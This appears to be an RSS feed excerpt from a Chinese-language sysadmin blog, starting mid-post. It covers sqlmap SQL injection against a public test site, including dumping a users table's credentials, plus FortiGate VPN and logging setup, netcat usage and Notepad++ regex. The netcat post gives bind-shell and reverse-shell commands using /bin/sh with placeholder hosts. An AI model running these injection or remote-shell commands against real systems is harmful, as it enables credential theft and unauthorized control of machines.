--table<br/><br/>-u 是要做測試的url<br/><br/>--data 是我們送出的欄位資料<br/><br/>--threads 表示要用幾條線程做測試，越高速度越快，但是有一些防禦設備你攻擊的速度太快會直接被列入黑名單<br/><br/>--level&nbsp;&nbsp;--risk是深度以及強度，建議使用3以上，越高拆解的速度越慢<br/><br/>--table 表示如果注入成功的話我要取出所有table name<br/><br/>如果注入成功的話，它會自動儲存這個網站注入成功的相關LOG，順利的話我們就可以取出他所使用資料庫帳號所有權限<br/><br/>的所有talbe以及相關欄位，接著更深入一點可以看一下欄位資料<br/><br/>./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --columns<br/><br/>-D 指定哪一個資料庫<br/><br/>-T 指定哪一張tables<br/><br/>--columns 我要取得欄位資料<br/><br/>最後可以嘗試dump所有資料或是dump特定欄位資料<br/><br/>./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump #所有欄位<br/><br/>./sqlmap.py -u "http://testphp.vulnweb.com/login.php" --data="uname=admin&pass=admin" -D dbname -T users --dump -C "username,passwd"<br/><br/>======================================================<br/><br/>那有些欄位可能是需要我們再登入後才可以進入的頁面，這時候我們就要加上一個參數<br/><br/>--cookie=COOKIE&nbsp;&nbsp;&nbsp;&nbsp; HTTP Cookie header value<br/><br/>我們手動登入之後一樣使用live http headers取得我們的cookie資料加在這個參數中即可<br/><br/>sqlmap還有其他更多詳細的參數可以用sqlmap --help參考<br/><br/>======================================================<br/><br/>我常常碰到一些人在寫網頁的時候，資料庫是預設使用root進行登入，如果在一個多人開發的主機上<br/><br/>這是一個蠻危險的方式，即使你有做好程式的安全性控管，但是你的同仁或其他開發者，不論是被<br/><br/>sql injection或是程式碼被取走，只要有一個洞被入侵，因為root這個帳號有所有資料庫的權限，基本<br/><br/>上一次就會全部失守，建議還是勤勞一點，每一個專案都用grant建立相關的帳號以及做好權限的控管。
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?56</link>
<title><![CDATA[fortigate開啟sslvpn功能]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Fri, 09 Sep 2016 06:37:22 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?56</guid> 
<description>
<![CDATA[ 
	我的fortigate版本是5.2，內部網路的IP是192.168.1.0/24<br/><br/>fortigate防火牆的wan public ip假設是1.164.135.24<br/><br/>現在的情境是在外部需要連線進入取得192.168.1.x的內部IP<br/><br/>可以訪問內網的設備，同時可以將1.164.135.24當作跳板，連線到其他ineternet<br/><br/>首先先啟用VPN的功能，在儀表板上有一個VPN把他調整到ON<br/><br/>接下來操作模式必須是NAT，如果使用透通的話就無法使用VPN了<br/><br/>接著把public IP綁到wan1上<br/><br/><div class="code">系統管理-&gt;網路-&gt;介面-&gt;wan1 </div>位址你可以選擇DHCP也可以自訂，看每個人網路環境<br/><br/>接下來先建立sslvpn的帳號以及群組<br/><br/><div class="code">用戶與設備-&gt;用戶認證-&gt;建立一個新使用者</div><br/><br/><div class="code">用戶與設備-&gt;用戶群組-&gt;建立一個sslvpn的群組</div>，同時把剛剛的使用者放進來<br/><br/><div class="code">政策&amp;物件-&gt;物件-&gt;位址 新增一段位址(vpnip)給VPN的使用者(192.168.1.200-192.168.1.210)</div><br/><br/><div class="code">政策&amp;物件-&gt;物件-&gt;位址 新增一段位址(local_lan)給內網(192.168.1.0/24)</div><br/><br/><script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script><ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-1292700168892016" data-ad-slot="3191226934" data-ad-format="auto" data-full-width-responsive="true"></ins><script>(adsbygoogle = window.adsbygoogle &#124;&#124; []).push(&#123;&#125;);</script><br/><br/>接下來設定VPN的部分<br/><br/><div class="code">VPN-&gt;SSL-&gt;門戶網站-&gt;full-access&nbsp;&nbsp;將啟用切分隧道不要勾選</div><br/><br/>來源IP pools選擇vpnip<br/><br/><div class="code">VPN-&gt;SSL-&gt;設定-&gt;full-access&nbsp;&nbsp;將啟用切分隧道不要勾選</div><br/><br/>介面監聽可以選擇any，不過一般都是從外面播號進來，所以我選擇WAN1，port改為10443<br/><br/>IP範圍使用vpnip，認證/入口網對應新增sslvpn群組只用full-access，其他使用群組也使用full-access(共兩筆)<br/><br/>這樣VPN應該就啟用了，接著設定policy<br/><br/>如果要允許VPN使用者能夠訪問內網<br/><br/><div class="code">ssl.root -&gt; local_lan就需要啟用(記得NAT不要勾選，要不然全部VPN使用者都會帶一樣的IP)</div><br/><br/>如果要讓VPN把fortigate當作跳板，例如你人剛好在大陸想上個FB之類的<br/><br/><div class="code">ssl.root -&gt; wan1&nbsp;&nbsp;就需要啟用</div><br/><br/>最後全部設定完成之後，請記得進入命令視窗輸入<br/><br/><div class="code">config vpn ssl web protal<br/><br/>edit full-access<br/><br/>set host-check av<br/><br/>end</div><br/><br/>網路上找到的文件很像都沒這段，最後全部設定完成之後<br/><br/>https://1.164.135.24:10443應該可以看到登入畫面(但是無法用瀏覽器登入)<br/><br/>你就可以安裝forti client使用sslvpn了<br/><br/>
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?54</link>
<title><![CDATA[網路測試的瑞士刀--netcat]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Wed, 27 Jul 2016 05:58:22 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?54</guid> 
<description>
<![CDATA[ 
	以前做一些網路除錯或是測試是否有連通都是用telnet或是nmap<br/><br/>這兩天參加教育訓練剛好看到影片中有使用nc這個指令(全名是netcat)<br/><br/>後來就去查了一下，挖靠不得了，這工具真是包山包海<br/><br/>可以開socket server，也可以直接對遠端做連線<br/><br/>可以掃port，甚至可以拿來操控對方電腦、傳檔案<br/><br/>真是方便到一個不行<br/><br/><span style="font-family: 微軟正黑體;"><span style="font-size: 14px;">對遠端做連線</span></span><br/><br/>nc x.x.x.x port<br/><br/><span style="font-family: 微軟正黑體;"><span style="font-size: 14px;">開啟socket server等待連線</span></span><br/><br/>nc -l port<br/><br/><span style="font-family: 微軟正黑體;"><span style="font-size: 14px;">傳送檔案</span></span><br/><br/>[接收端]<br/><br/>nc -l 9999 > 寫入的檔案名稱<br/><br/>[傳送端]<br/><br/>nc x.x.x.x 9999 < 要傳送的檔案名稱<br/><br/><span style="font-family: 微軟正黑體;"><span style="font-size: 14px;">port掃描</span></span><br/><br/>nc -vv -z -w1 x.x.x.x port1~port2&nbsp;&nbsp;#w1是指一秒<br/><br/>不過掃描port的功能比起nmap其實還差蠻遠的<br/><br/><span style="font-family: 微軟正黑體;"><span style="font-size: 14px;">遙控電腦</span></span><br/><br/>[被遙控端]<br/><br/>如果被遙控端的電腦是linux，執行命令是/bin/sh<br/><br/>如果是windows，則是cmd.exe<br/><br/>nc -v -l -p port -e /bin/sh<br/><br/>當然一般正常會希望這個process一直存在著，所以可以加上-k<br/><br/>這樣就不會斷線之後這個process就結束了<br/><br/>[控制端]<br/><br/>nc x.x.x.x port<br/><br/><span style="font-family: 微軟正黑體;"><span style="font-size: 14px;">遙控電腦(反向控制)</span></span><br/><br/>所謂反向控制遙控是指連線由被控制端主動發起<br/><br/>避免port被防火牆擋住(A要控制B，B去向A請求、建立連線後，A遙控B做動作)<br/><br/>[控制端]<br/><br/>nc -l -vv -p port<br/><br/>[被遙控端]<br/><br/>nc -e /bin/sh x.x.x.x port<br/><br/>另外她還有一些，偽造source ip 的功能我就沒有特別研究了<br/>
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?31</link>
<title><![CDATA[fortigate ipv6 log設定]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Mon, 28 Dec 2015 07:22:27 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?31</guid> 
<description>
<![CDATA[ 
	要使用fortigate發RA給pc需要使用cmd line進入設定<br/><br/>設定方式如下<br/><br/>config system interface<br/>edit port16<br/>config ipv6<br/>set ip6-address 2001:db8::1/32<br/>set ip6-send-adv enable<br/>config ip6-prefix-list<br/>edit 2001:db8::/32<br/>set autonomous-flag enable<br/>set onlink-flag enable<br/>next<br/>end<br/>end<br/>end<br/><br/>同時在設定policy的時候需要關閉NAT的功能<br/><br/>接下來是要開啟log，將log倒到自建的 log server上<br/><br/>config log syslogd setting<br/>set status enable<br/>set server IP<br/>set port 514<br/>set facility user<br/>end
]]>
</description>
</item><item>
<link>https://xdeath.tw/read.php?23</link>
<title><![CDATA[notepad++進階用法]]></title> 
<author>admin &lt;tszheng@twnic.net.tw&gt;</author>
<category><![CDATA[預設分類]]></category>
<pubDate>Tue, 10 Feb 2015 03:10:05 +0000</pubDate> 
<guid>https://xdeath.tw/read.php?23</guid> 
<description>
<![CDATA[ 
	windows上的notepad++其實在處理一些簡單文件的時候很好用<br/><br/>例如正規表示法的取代，使用正規表示法全部取代就比寫一個簡單的程式會快很多<br/><br/>1.notepad++上的正規表示法<br/><br/>首先ctrl + f搜尋，搜尋模式勾?用類型表示?，接著在搜尋的地方就可以使用正規表示法<br/><br/>例如<br/>TEST</br>，要取中間文字搜尋目標可以使用<br/>(.*)<&#92;/br>，$1 = TEST<br/><br/>這樣在paser網頁的資料相當的方便<br/><br/>2.貪婪模式與非貪婪模式<br/><br/>在使用正規表示法找資料的時候常常會碰到使用萬用字元.*去抓到過長的資料，這點在網頁上特別容易碰到<br/><br/>舉例來說<br/>TEST</br><br/>TEST1</br><br/>TEST2</br><br/><br/>我如果使用<br/>(.*)<&#92;/br>(預設貪婪模式)去抓tag中間的文字，就會把中間全部都選到TEST</br><br/>TEST1</br><br/>TEST2<br/><br/>但是實際上我要的只是TEST、TEST1、TEST2，這時候就要加上?、<br/>(.*?)<&#92;/br>告訴他我要抓最短符合條件的字串。<br/><br/>3.其他特殊功能<br/><br/>用類型表示的情況下也可以直接搜尋&#92;n、&#92;r這些特殊字元<br/><br/>另外在linux底下可以針對某個目錄底下所有文件找關鍵字的功能相當好用 <strong>grep -r -i "關鍵字" 目錄</strong><br/><br/>實際上notepadd++一樣可以針對某目錄底下所有文件去搜尋關鍵字<br/><br/>只要在搜尋上面的拉霸點擊搜尋目錄即可，這點在在修改某些沒<br/><br/>正規化的程式碼特別好用(例如要大量改IP，重新命名變數名稱...)
]]>
</description>
</item>
</channel>
</rss>